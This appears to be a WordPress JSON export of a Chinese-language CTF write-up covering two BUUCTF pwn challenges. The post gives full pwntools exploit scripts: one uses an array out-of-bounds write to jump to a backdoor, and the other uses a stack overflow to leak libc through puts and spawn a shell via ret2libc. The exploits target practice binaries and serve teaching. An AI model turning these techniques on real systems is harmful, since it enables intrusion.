{"id":451,"date":"2025-08-13T13:06:50","date_gmt":"2025-08-13T05:06:50","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=451"},"modified":"2025-08-13T13:19:43","modified_gmt":"2025-08-13T05:19:43","slug":"buuctfwustctf2020_name_your_cat%e6%95%b0%e7%bb%84%e8%b6%8a%e7%95%8c%e3%80%81axb_2019_brop64","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/13\/buuctfwustctf2020_name_your_cat%e6%95%b0%e7%bb%84%e8%b6%8a%e7%95%8c%e3%80%81axb_2019_brop64\/","title":{"rendered":"buuctf:wustctf2020_name_your_cat(\u6570\u7ec4\u8d8a\u754c)\u3001axb_2019_brop64"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">1\u3001wustctf2020_name_your_cat\u5206\u6790<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-103627.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"869\" height=\"871\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-103627.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-452\"  sizes=\"auto, (max-width: 869px) 100vw, 869px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-103744-1024x417.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"417\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-103744-1024x417.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-453\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u66a8f39d\">32\u4f4d\u6ce8\u610f\u6709Canary\u548cNX\uff0c\u8fd0\u884c\u770b\u4e0d\u51fa\u4ec0\u4e48\u4e1c\u897f<\/p>\n\n\n\n<p id=\"u16dec36a\">\u7a0b\u5e8f\u6709\u540e\u95e8\u51fd\u6570\u9700\u8981ret2\uff0c\u4f46\u662f\u80af\u5b9a\u6709\u6761\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-104026-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"414\" height=\"182\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-104026-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-474\"  sizes=\"auto, (max-width: 414px) 100vw, 414px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u3b06b5fa\">\u9996\u5148\u662f\u8fd9\u4e2a\u51fd\u6570\uff0cNameWhich\uff0c\u53c2\u6570\u662fa1,\u9700\u8981\u8f93\u5165%d\u800c\u4e0d\u662f%s<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-104356-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"914\" height=\"400\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-104356-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-459\"  sizes=\"auto, (max-width: 914px) 100vw, 914px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u7136\u540e\u662f\u8fd9\u4e2a\u51fd\u6570vulnerable\uff0c\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u7ed95\u53ea\u732b\u5faa\u73af\u8d77\u540d\u5b57\u7684\u7a0b\u5e8f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-104135-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"454\" height=\"380\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-104135-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-460\"  sizes=\"auto, (max-width: 454px) 100vw, 454px\" \/><\/div><\/figure>\n\n\n\n<p><br>__isoc99_scanf(&#8220;%7s&#8221;, 8 * v3 + a1);\u6211\u4eec\u5199\u5165\u7684\u5b57\u7b26\u4e32\u5230a1\u4e2d\uff0c\u4f46\u662f\u524d\u9762\u5e76\u6ca1\u6709\u68c0\u9a8cv3\u7684\u5927\u5c0f\uff0c\u53ef\u80fd\u9020\u6210a1\u6570\u7ec4\u8d8a\u754c\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u8986\u5199buf\u540e\u9762\u7684\u5185\u5bb9\uff0c\u73b0\u5728\u8981\u786e\u5b9a\u504f\u79fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-110037.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"616\" height=\"321\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-110037.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-462\"  sizes=\"auto, (max-width: 616px) 100vw, 616px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u617ea2fe\">0x34+0x8=0x38\u5c31\u662f56\uff0c\u4e00\u4e2a\u53c2\u6570\u662f8\u4f4d\uff0c\u90a3\u4e48v3\u548cr\u4e4b\u95f4\u76f8\u5dee\u4e867\u4e2a\u53c2\u6570<\/p>\n\n\n\n<p id=\"u00d3514c\">\u5f53for\u5faa\u73af\u5230\u7b2c5\u6b21\u65f6\uff0c\u6211\u4eec\u8f93\u51657\u5c31\u53ef\u4ee5\u5b9a\u4f4d\u5230ret,\u7136\u540e\u5199\u5165\u540e\u95e8\u7684\u5730\u57400x80485CB \u5c31\u884c\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"RKRAp\">2\u3001wustctf2020_name_your_cat\u5b9e\u64cd<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29358)\n\nshell=0x80485cb\np.recvuntil(\"Name for which?\\n&gt;\")\np.sendline(str(1))\np.recvuntil(\"Give your name plz: \")\np.sendline('a')\n\np.recvuntil(\"Name for which?\\n&gt;\")\np.sendline(str(2))\np.recvuntil(\"Give your name plz: \")\np.sendline('a')\n\np.recvuntil(\"Name for which?\\n&gt;\")\np.sendline(str(3))\np.recvuntil(\"Give your name plz: \")\np.sendline('a')\n\np.recvuntil(\"Name for which?\\n&gt;\")\np.sendline(str(4))\np.recvuntil(\"Give your name plz: \")\np.sendline('a')\n\np.recvuntil(\"Name for which?\\n&gt;\")\np.sendline(str(7))\np.recvuntil(\"Give your name plz: \")\np.sendline(p64(shell))\n\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-111754-1024x675.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"675\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-111754-1024x675.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-463\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><br>3\u3001axb_2019_brop64\u5206\u6790<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-113639.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"847\" height=\"858\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-113639.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-464\"  sizes=\"auto, (max-width: 847px) 100vw, 847px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-113831-1024x453.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"453\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-113831-1024x453.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-465\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><br>64\u4f4d+nx,\u662f\u4e00\u4e2a\u4e0d\u4f1a\u5faa\u73af\u7684\u590d\u8bfb\u673a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-114056-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1020\" height=\"525\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-114056-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-466\"  sizes=\"auto, (max-width: 1020px) 100vw, 1020px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u6897b9b7\">\u4e3b\u8981\u8fd8\u662f\u770b\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n<p id=\"u8888ba82\">\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa\uff0c\u90a3\u6211\u4eec\u80fd\u4e0d\u80fd\u5229\u7528\u4ed6\u6765\u6cc4\u9732libc,\u7528puts\u5427\uff0c\u53c2\u6570\u66f4\u7b80\u5355\uff0c\u7528write\u7684\u8bdd\u9700\u8981\u591a\u8bbe\u7f6e\u4e24\u4e2a\u53c2\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-114411-1024x134.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"134\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-114411-1024x134.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-467\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u8fd9\u4e9b\u5bc4\u5b58\u5668\uff0cputs\u5c31\u7528rdi\u5c31\u597d\uff0cwrite\u90fd\u9700\u8981\u7528\u4e0a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26307)\nelf=ELF(\".\/axb_2019_brop64\")\n\nrdi=0x400963\nputs_got=elf.got&#91;'puts']\nputs_plt=elf.plt&#91;'puts']\nmain=elf.sym&#91;'main']\npayload=b'a'*(0xd0+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)\np.recvuntil(\"Please tell me:\")\np.sendline(payload)\nputs=u64(p.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\nprint(hex(puts))\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-120058.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"945\" height=\"251\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-120058.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-468\"  sizes=\"auto, (max-width: 945px) 100vw, 945px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-120105-1024x213.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"213\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-120105-1024x213.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-469\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><br>4\u3001cat flag<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26307)\nelf=ELF(\".\/axb_2019_brop64\")\n\nrdi=0x400963\nputs_got=elf.got&#91;'puts']\nputs_plt=elf.plt&#91;'puts']\nmain=elf.sym&#91;'main']\npayload=b'a'*(0xd0+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)\np.recvuntil(\"Please tell me:\")\np.sendline(payload)\nputs=u64(p.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\nprint(hex(puts))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym&#91;'puts']\nsys=base+libc.sym&#91;'system']\nbinsh=base+next(libc.search(\"\/bin\/sh\"))\npayload=b'a'*(0xd0+8)+p64(rdi)+p64(binsh)+p64(sys)\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-120909-1024x629.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"629\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-13-120909-1024x629.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-470\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u597d\u5566\uff0c\u5c31\u5230\u8fd9\u513f&#8230;&#8230;<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1\u3001wustctf2020_name_your_cat\u5206\u6790 32\u4f4d\u6ce8\u610f\u6709Canary\u548cNX\uff0c\u8fd0\u884c\u770b\u4e0d\u51fa\u4ec0\u4e48\u4e1c\u897f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":471,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-451","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/451","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=451"}],"version-history":[{"count":2,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/451\/revisions"}],"predecessor-version":[{"id":475,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/451\/revisions\/475"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/471"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=451"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=451"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=451"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}